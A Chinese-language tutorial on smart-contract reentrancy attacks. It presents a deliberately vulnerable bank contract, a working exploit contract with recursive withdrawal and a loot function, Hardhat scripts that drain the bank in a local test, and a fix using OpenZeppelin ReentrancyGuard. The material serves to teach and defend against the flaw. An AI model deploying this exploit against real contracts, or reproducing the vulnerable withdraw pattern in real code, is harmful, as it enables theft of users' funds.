黑吃黑:重入攻击秒提ETH+瞬锁修复

  • 木西
  • 发布于 7小时前
  • 阅读 30

前言本文聚焦DeFi领域中典型的重入攻击(ReentrancyAttack)安全漏洞,从理论层面剖析重入攻击的原理与危害,再基于HardhatV3开发框架,结合OpenZeppelinV5安全库,通过代码实践完整复现重入攻击的全过程;最后针对该漏洞的核心成因,给出基于行业最佳实

前言

本文聚焦 DeFi 领域中典型的重入攻击(Reentrancy Attack)安全漏洞,从理论层面剖析重入攻击的原理与危害,再基于 Hardhat V3 开发框架,结合 OpenZeppelin V5 安全库,通过代码实践完整复现重入攻击的全过程;最后针对该漏洞的核心成因,给出基于行业最佳实践的修复方案,并通过代码验证修复效果。全文采用 “理论分析 - 攻击复现 - 漏洞修复” 的逻辑脉络,将重入攻击的技术原理与工程实践相结合,清晰呈现该安全漏洞的风险点及防护手段。

重入攻击是什么

1. 核心定义:重入攻击(Reentrancy Attack)是智能合约中一种经典的安全漏洞。它的核心原理是:外部恶意合约利用回调机制,在目标合约的函数执行过程尚未结束(即状态变量尚未更新)时,再次递归调用该函数,从而反复窃取资产或破坏逻辑。

2. 通俗类比

  • 场景:你去银行取钱。
  • 正常流程:你申请取钱 -> 银行扣除你的余额 -> 银行给你现金。
  • 重入攻击流程:你申请取钱 -> 银行给你现金(还没来得及扣余额) -> 你拿到现金的瞬间,立刻又申请取钱 -> 银行检查余额(还是满的) -> 银行又给你现金…… 循环往复,直到银行破产。

3. 技术原理:在 Ethereum(以太坊)等 EVM 兼容链上,当合约向外部地址(EOA 或其他合约)发送 ETH(使用call)或执行低级别调用时,接收方合约的fallback()receive()函数会被触发。如果目标合约在修改状态变量(如用户余额)之前就执行了转账操作,攻击者就可以在fallback函数中再次调用目标合约的提款函数,导致 “余额未清零” 的漏洞被反复利用。

Web3 历史上的重大重入攻击事件

事件名称 发生时间 损失金额 核心细节
The DAO 攻击 2016 年 约 6000 万美元(当时约占以太坊总量的 15%) 利用 DAO 合约中splitDAO函数的重入漏洞,通过递归调用将资金转移到子 DAO 中,导致以太坊社区硬分叉为 ETH 和 ETC。
Parity 钱包多重签名漏洞攻击 2017 年 约 3000 万美元 主因为库合约自杀致代码不可用,delegatecall重入逻辑复杂性是导火索之一,造成多个钱包合约被冻结或盗取。
bZx 闪电贷重入攻击 2020 年 约 800 万美元 DeFi Summer 初期典型攻击,结合闪电贷与重入攻击,操纵价格后借重入漏洞在旧价格下清算套利,开启组合拳攻击时代。
Cream Finance 攻击 2021 年 约 1.3 亿美元 利用 ETH 和 YFI 市场重入漏洞,铸造大量 crETH 代币并赎回,导致协议巨额损失。
Euler Finance 攻击 2023 年 约 1.97 亿美元 利用 DToken 合约重入漏洞,在清算过程中反复借款并提取抵押品,造成巨额损失。

重入攻击的危害

1. 资产直接被盗(经济损失):这是最直接的后果。攻击者可以在合约逻辑未能更新余额之前,将合约内的所有流动性资金(ETH、ERC20 代币等)转移至自己的地址,导致协议瞬间资不抵债(Rug Pull)。

2. 合约状态混乱(逻辑破坏):即使资金没有被转走,反复的递归调用可能导致合约的状态变量(如借贷利率、清算价格、总供应量)计算错误。一旦状态被破坏,合约可能永久无法正常运行,甚至导致剩余资产无法提取。

3. 协议信任崩塌(声誉破产):DeFi 的核心是 “Code is Law”(代码即法律)。一旦发生重入攻击,意味着代码存在致命缺陷,用户会对协议失去信任,导致流动性迅速撤离,项目方代币价格归零,项目直接死亡。

4. 复杂攻击的跳板:在现代 DeFi 攻击中,重入往往不是单一手段,而是配合闪电贷、价格操纵、预言机攻击的关键一环。它能放大攻击的杠杆效应,让攻击者在一个区块内完成数亿级别的套利。

智能合约实现

漏洞复现

智能合约

  • 不安全银行合约
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.24;

contract UnsafeBank { mapping(address => uint) public balances;

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0, "no fund");

    // 先转账,后更新 → 可被重入
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "send failed");

    balances[msg.sender] = 0; // 太晚!
}

}

* **重入攻击合约**

// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;

import "./UnsafeBank.sol";

contract ReentrancyExploit { UnsafeBank public immutable bank; bool private _isAttacking; // 标记是否处于攻击状态

constructor(address _bank) {
    bank = UnsafeBank(_bank);
}

function attack() external payable {
    require(msg.value > 0, "Need ETH to attack");
    _isAttacking = true; // 开启攻击状态

    // 1. 存入资金
    bank.deposit{value: msg.value}();
    // 2. 触发第一次提款
    bank.withdraw();

    _isAttacking = false; // 结束攻击状态
}

// receive() external payable {
//     // 只有在攻击状态下,且银行还有钱时才重入
//     if (_isAttacking && address(bank).balance >= msg.value) {
//         bank.withdraw();
//     }
// }
receive() external payable {
    // 关键:增加余额检查,防止无限递归
    // 只有当银行里还有钱时,才继续提款
    if (address(bank).balance >= 1 ether) { 
        bank.withdraw();
    }
}
function loot() external {
    payable(msg.sender).transfer(address(this).balance);
}

}

### 部署脚本

// scripts/deploy.js import { network, artifacts } from "hardhat"; async function main() { // 连接网络 const { viem } = await network.connect({ network: network.name });//指定网络进行链接

// 获取客户端 const [deployer] = await viem.getWalletClients(); const publicClient = await viem.getPublicClient();

const deployerAddress = deployer.account.address; console.log("部署者的地址:", deployerAddress); // 加载合约 const UnsafeBankArtifact = await artifacts.readArtifact("UnsafeBank"); const ReentrancyExploitArtifact = await artifacts.readArtifact("ReentrancyExploit");

// 部署(构造函数参数:recipient, initialOwner) const UnsafeBankHash = await deployer.deployContract({ abi: UnsafeBankArtifact.abi,//获取abi bytecode: UnsafeBankArtifact.bytecode,//硬编码 args: [],// }); const UnsafeBankReceipt = await publicClient.waitForTransactionReceipt({ hash: UnsafeBankHash }); console.log("银行合约地址:", UnsafeBankReceipt.contractAddress); // const ReentrancyExploitHash = await deployer.deployContract({ abi: ReentrancyExploitArtifact.abi,//获取abi bytecode: ReentrancyExploitArtifact.bytecode,//硬编码 args: [UnsafeBankReceipt.contractAddress],//部署者地址,初始所有者地址 }); // 等待确认并打印地址 const ReentrancyExploitReceipt = await publicClient.waitForTransactionReceipt({ hash: ReentrancyExploitHash }); console.log("攻击合约地址:", ReentrancyExploitReceipt.contractAddress); }

main().catch(console.error);

### 测试脚本

import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem";

describe("ReentrancyExploit 攻击验证", async function () { let owner: any; let otherAccount: any; let UnsafeBank: any; let ReentrancyExploit: any; let publicClient: any;

beforeEach(async () => { // const viem = await (hre as any).viem; const { viem } = await hre.network.connect(); publicClient = await viem.getPublicClient(); [owner, otherAccount] = await viem.getWalletClients();

// 1. 部署银行
UnsafeBank = await viem.deployContract("UnsafeBank", []);

// 2. 注入“受害者”资金:让其他账户往银行存入 100 ETH
// 这样银行才有钱被偷,且不会消耗 owner 自己的本金
const depositTx = await otherAccount.sendTransaction({
  to: UnsafeBank.address,
  value: parseEther("100"),
  data: "0xd0e30db0", // 调用 deposit() 的 selector
});
await publicClient.waitForTransactionReceipt({ hash: depositTx });

// 3. 部署攻击合约
ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [UnsafeBank.address]);

});

it("应该通过重入攻击排干银行余额", async function () { const initialBankBal = await publicClient.getBalance({ address: UnsafeBank.address }); console.log("攻击前银行余额:", formatEther(initialBankBal.toString()));

// 1. 执行攻击 (存入 10 ETH 触发递归 withdraw)
// 注意:gasLimit 必须给够,因为递归非常消耗 Gas
const attackTx = await ReentrancyExploit.write.attack([], {
  value: parseEther("10"),
  gas: 1000000n 
});
await publicClient.waitForTransactionReceipt({ hash: attackTx });

// 2. 检查攻击合约是否成功拿到了钱
const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
console.log("攻击后合约所得:", formatEther(exploitBal.toString()));

// 修复断言 1:合约所得应该等于 (银行初始 100 + 攻击投入 10)
assert.ok(exploitBal >= parseEther("110"));

// 提取战利品
const initialOwnerBal = await publicClient.getBalance({ address: owner.account.address });
await ReentrancyExploit.write.loot([]);

// 修复断言 2:Owner 余额增加量应该接近 110 ETH(扣除微量 Gas)
const finalOwnerBal = await publicClient.getBalance({ address: owner.account.address });

console.log("Owner 增加余额:", (finalOwnerBal - initialOwnerBal).toString());

// 只要增加超过 109 ETH 即可说明成功拿到了银行的所有钱
assert.ok(finalOwnerBal > initialOwnerBal + parseEther("109"));

// 修复断言 3:银行必须被排干
const finalBankBal = await publicClient.getBalance({ address: UnsafeBank.address });
assert.equal(finalBankBal, 0n);

}); });

## 漏洞修复
### 智能合约
* **安全漏洞修复合约**:借助openzeppelinV5修复

// SPDX-License-Identifier: MIT pragma solidity ^0.8.24;

// 导入 OpenZeppelin V5 的防重入卫士 import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

/**

  • @title SafeBank
  • @dev 修复了重入漏洞的安全银行合约 */ contract SafeBank is ReentrancyGuard { mapping(address => uint256) public balances;

    // 存钱逻辑保持不变 function deposit() external payable { balances[msg.sender] += msg.value; }

    /**

    • @dev 修复后的取款函数
      1. 使用 nonReentrant 修改器:禁止在执行期间再次进入此函数
      1. 遵循 Checks-Effects-Interactions 模式 */ function withdraw() external nonReentrant { // --- 1. Checks (检查) --- uint256 amount = balances[msg.sender]; require(amount > 0, "no fund");

      // --- 2. Effects (效果) --- // 在进行外部调用之前,先更新状态(账本清零) // 即使攻击者尝试重入,此时它的 balances[msg.sender] 已经是 0,无法通过 Checks balances[msg.sender] = 0;

      // --- 3. Interactions (交互) --- // 最后再进行外部转账 (bool ok, ) = msg.sender.call{value: amount}(""); require(ok, "send failed"); }

    // 允许合约接收 ETH receive() external payable {} }

* **重入攻击合约**:同上重入攻击合约

### 部署脚本:同上部署脚本修改编译后abi关键参数即可

### 测试脚本

import assert from "node:assert/strict"; import { describe, it, beforeEach } from "node:test"; import hre from "hardhat"; import { parseEther, getAddress, formatEther } from "viem"; describe("SafeBank 防御验证", async function () { let owner: any; let otherAccount: any; let SafeBank: any; // 使用 SafeBank 代替 UnsafeBank let ReentrancyExploit: any; let publicClient: any;

beforeEach(async () => {
    const { viem } = await hre.network.connect();
    publicClient = await viem.getPublicClient();
    [owner, otherAccount] = await viem.getWalletClients();

    // 1. 部署安全的银行合约
    SafeBank = await viem.deployContract("SafeBank", []); // 注意合约名称变更

    // 2. 注入“受害者”资金:100 ETH
    const depositTx = await otherAccount.sendTransaction({
        to: SafeBank.address,
        value: parseEther("100"),
        data: "0xd0e30db0", // 调用 deposit() 的 selector
    });
    await publicClient.waitForTransactionReceipt({ hash: depositTx });

    // 3. 部署攻击合约,指向 SafeBank
    ReentrancyExploit = await viem.deployContract("ReentrancyExploit", [SafeBank.address]);
});

it("应该阻止 ReentrancyExploit 的攻击", async function () {
    const initialBankBal = await publicClient.getBalance({ address: SafeBank.address });
    console.log("安全银行攻击前余额:", formatEther(initialBankBal.toString())); // 100 ETH

    // 尝试执行攻击
    // 我们预期这个交易会失败(revert),因为 SafeBank 使用了 ReentrancyGuard
    try {
        await ReentrancyExploit.write.attack([], {
            value: parseEther("10"), // 存入 10 ETH
            gas: 3000000n // Gas 不用太高,因为它很快就会失败
        });
        // 如果代码执行到这里,说明攻击成功了,这不符合预期
        assert.fail("攻击应该失败,但它成功了!");

    } catch (error: any) {
        // 预期捕获到错误,证明防御成功
        console.log("成功捕获到预期错误:攻击被阻止。");
        // 打印错误消息通常会包含 "ReentrancyGuard: reentrant call" 或 "no fund"
        // console.error(error.message); 
        assert.ok(error.message.includes("revert") || error.message.includes("ReentrancyGuard") || error.message.includes("no fund"));
    }

    // 验证最终银行余额:钱应该还在银行里(除了攻击者存入的 10 ETH 可能卡在失败的交易中)
    // 在 Viem/Hardhat 中,失败的交易会自动回滚所有状态,所以银行余额应该回到初始状态。
    const finalBankBal = await publicClient.getBalance({ address: SafeBank.address });
    console.log("安全银行攻击后余额:", formatEther(finalBankBal.toString()));

    // 断言银行余额没有被掏空 (回到了 100 ETH 附近)
    assert.ok(finalBankBal >= parseEther("99")); 

    const exploitBal = await publicClient.getBalance({ address: ReentrancyExploit.address });
    assert.equal(exploitBal, 0n, "攻击合约不应该有余额");
});

});


# 结语
至此关于 DeFi 领域经典安全漏洞 —— 重入攻击,完整覆盖相关理论知识与代码实践,既包含重入攻击的复现过程,也提供了针对该漏洞的修复代码实例,形成 “理论剖析 - 实践复现 - 漏洞修复” 的完整技术链路。
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
木西
木西
0x5D5C...2dD7
江湖只有他的大名,没有他的介绍。